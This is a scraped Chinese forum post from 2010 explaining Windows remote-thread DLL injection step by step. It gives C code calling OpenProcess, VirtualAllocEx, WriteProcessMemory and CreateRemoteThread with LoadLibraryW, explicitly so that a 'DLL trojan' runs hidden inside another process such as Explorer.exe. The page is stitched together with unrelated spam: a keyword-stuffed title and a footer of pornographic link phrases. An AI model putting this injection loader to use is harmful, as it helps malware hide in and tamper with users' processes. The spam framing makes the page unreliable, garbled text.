久久中文视频-久久中文网-久久中文亚洲国产-久久中文字幕久久久久-亚洲狠狠成人综合网-亚洲狠狠婷婷综合久久久久
[Full]
完整版
[Rss]
訂閱
[Xml]
無圖版
[Xhtml]
無圖版
Rss
& SiteMap
曙海教育集團(tuán)論壇
http://www.bjzhda.cn
曙海教育集團(tuán)論壇
◎
曙海教育集團(tuán)論壇
→
VB語言
→
用vb和c語言來進(jìn)行遠(yuǎn)程線形技術(shù)
共1 條記錄, 每頁顯示 10 條, 頁簽:
[1]
[瀏覽完整版]
標(biāo)題:用vb和c語言來進(jìn)行遠(yuǎn)程線形技術(shù)
1樓
wangxinxin
發(fā)表于:2010-12-14 14:39:24
遠(yuǎn)程線程技術(shù)指的是通過在另一個(gè)進(jìn)程中創(chuàng)建遠(yuǎn)程線程的方法進(jìn)入那個(gè)進(jìn)程的內(nèi)存地址空間。我們知道,在進(jìn)程中,可以通過CreateThread函數(shù)創(chuàng)建線程,被創(chuàng)建的新線程與主線程(就是進(jìn)程啟動(dòng)時(shí)被同時(shí)自動(dòng)建立的那個(gè)線程)共享地址空間以及其他的資源。 但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個(gè)進(jìn)程內(nèi)創(chuàng)建新線程,被創(chuàng)建的遠(yuǎn)程線程同樣可以共享遠(yuǎn)程進(jìn)程(是遠(yuǎn)程進(jìn)程耶!)的地址空間,所以,實(shí)際上,我們通過一個(gè)遠(yuǎn)程線程,進(jìn)入了遠(yuǎn)程進(jìn)程的內(nèi)存地址空間,也就擁有了那個(gè)遠(yuǎn)程進(jìn)程相當(dāng)?shù)臋?quán)限。例如在遠(yuǎn)程進(jìn)程內(nèi)部啟動(dòng)一個(gè)DLL木馬(與進(jìn)入進(jìn)程內(nèi)部相比,啟動(dòng)一個(gè)DLL木馬是小意思,實(shí)際上我們可以隨意篡改那個(gè)遠(yuǎn)程進(jìn)程的數(shù)據(jù))。
首先,我們通過OpenProcess 來打開我們試圖嵌入的進(jìn)程(如果遠(yuǎn)程進(jìn)程不允許打開,那么嵌入就無法進(jìn)行了,這往往是由于權(quán)限不足引起的,解決方法是通過種種途徑提升本地進(jìn)程的權(quán)限)
hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | file://允許遠(yuǎn)程創(chuàng)建線程
PROCESS_VM_OPERATION | file://允許遠(yuǎn)程VM操作
PROCESS_VM_WRITE,//允許遠(yuǎn)程VM寫
FALSE, dwRemoteProcessId )
由于我們后面需要寫入遠(yuǎn)程進(jìn)程的內(nèi)存地址空間并建立遠(yuǎn)程線程,所以需要申請足夠的權(quán)限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。
然后,我們可以建立LoadLibraryW函數(shù)這個(gè)線程來啟動(dòng)我們的DLL木馬,LoadLibraryW函數(shù)是在kernel32.dll中定義的,用來加載DLL文件,它只有一個(gè)參數(shù),就是DLL文件的絕對路徑名pszLibFileName,(也就是木馬DLL的全路徑文件名),但是由于木馬DLL是在遠(yuǎn)程進(jìn)程內(nèi)調(diào)用的,所以我們首先還需要將這個(gè)文件名復(fù)制到遠(yuǎn)程地址空間:(否則遠(yuǎn)程線程是無法讀到這個(gè)參數(shù)的)
file://計(jì)算DLL路徑名需要的內(nèi)存空間
int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);
file://使用VirtualAllocEx函數(shù)在遠(yuǎn)程進(jìn)程的內(nèi)存地址空間分配DLL文件名緩沖區(qū)
pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb,
MEM_COMMIT, PAGE_READWRITE);
file://使用WriteProcessMemory函數(shù)將DLL的路徑名復(fù)制到遠(yuǎn)程進(jìn)程的內(nèi)存空間
iReturnCode = WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
file://計(jì)算LoadLibraryW的入口地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
萬事俱備,我們通過建立遠(yuǎn)程線程時(shí)的地址pfnStartAddr(實(shí)際上就是LoadLibraryW的入口地址)和傳遞的參數(shù)pszLibFileRemote(實(shí)際上是我們復(fù)制過去的木馬DLL的全路徑文件名)在遠(yuǎn)程進(jìn)程內(nèi)啟動(dòng)我們的木馬DLL:
file://啟動(dòng)遠(yuǎn)程線程LoadLibraryW,通過遠(yuǎn)程線程調(diào)用用戶的DLL文件
hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0,
pfnStartAddr, pszLibFileRemote, 0, NULL);
至此,遠(yuǎn)程嵌入順利完成,為了試驗(yàn)我們的DLL是不是已經(jīng)正常的在遠(yuǎn)程線程運(yùn)行,我編寫了以下的測試DLL:
BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved)
{
char szProcessId[64] ;
switch ( reason )
{
case DLL_PROCESS_ATTACH:
{
file://獲取當(dāng)前進(jìn)程ID
_itoa ( GetCurrentProcessId(), szProcessId, 10 );
MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK );
}
default:
return TRUE;
}
}
當(dāng)我使用RmtDll.exe程序?qū)⑦@個(gè)TestDLL.dll嵌入Explorer.exe進(jìn)程后(PID=1208),該測試DLL彈出了1208字樣的確認(rèn)框,同時(shí)使用PS工具也能看到
Process ID: 1208
C:WINNTExplorer.exe (0x00400000)
……
C:TestDLL.dll (0x100000000)
……
這證明TestDLL.dll已經(jīng)在Explorer.exe進(jìn)程內(nèi)正確地運(yùn)行了。
無論是使用特洛伊DLL還是使用遠(yuǎn)程線程,都是讓木馬的核心代碼運(yùn)行于別的進(jìn)程的內(nèi)存空間,這樣不僅能很好地隱藏自己,也能更好的保護(hù)自己。
共1 條記錄, 每頁顯示 10 條, 頁簽:
[1]
Copyright © 2000 - 2009
曙海
教育集團(tuán)
Powered By
曙海教育集團(tuán)
Version 2.2
Processed in .01563 s, 2 queries.
[Full]
完整版
[Rss]
訂閱
[Xml]
無圖版
[Xhtml]
無圖版
主站蜘蛛池模板:
2020国产成人免费视频
|
亚洲国产欧美精品
|
国产亚洲精品成人一区看片
|
久久99亚洲精品久久99
|
成年女人看片免费视频频
|
亚洲欧美一区二区久久香蕉
|
国产精品久久久久影院色
|
精品毛片视频
|
久久手机精品视频
|
久久久免费精品视频
|
91伦理视频
|
久久综合免费
|
精品在线视频免费观看
|
欧美亚洲精品在线
|
日韩欧美在线观看视频一区二区
|
亚洲国产成人久久综合区
|
精品视自拍视频在线观看
|
男人添女人下面免费毛片
|
色综合色狠狠天天久久婷婷基地
|
国产九九精品
|
国产精品hd免费观看
|
一级在线 | 欧洲
|
免费视频网站一级人爱视频
|
国产成人综合95精品视频免费
|
欧美黄色特级视频
|
亚洲精品久久精品h成人
|
japanese日本tube色系
|
国产网站黄
|
一区二区三区在线观看免费
|
日韩精品一区二区三区免费观看
|
精品国产免费人成高清
|
国产在线成人一区二区
|
亚洲日本激情
|
国产精品日韩
|
手机毛片
|
国产农村乱子伦精品视频
|
精品视频在线观看一区二区三区
|
国产成人99久久亚洲综合精品
|
亚洲精品一区二区三区五区
|
成人精品国产亚洲
|
久久国产精品最新一区
|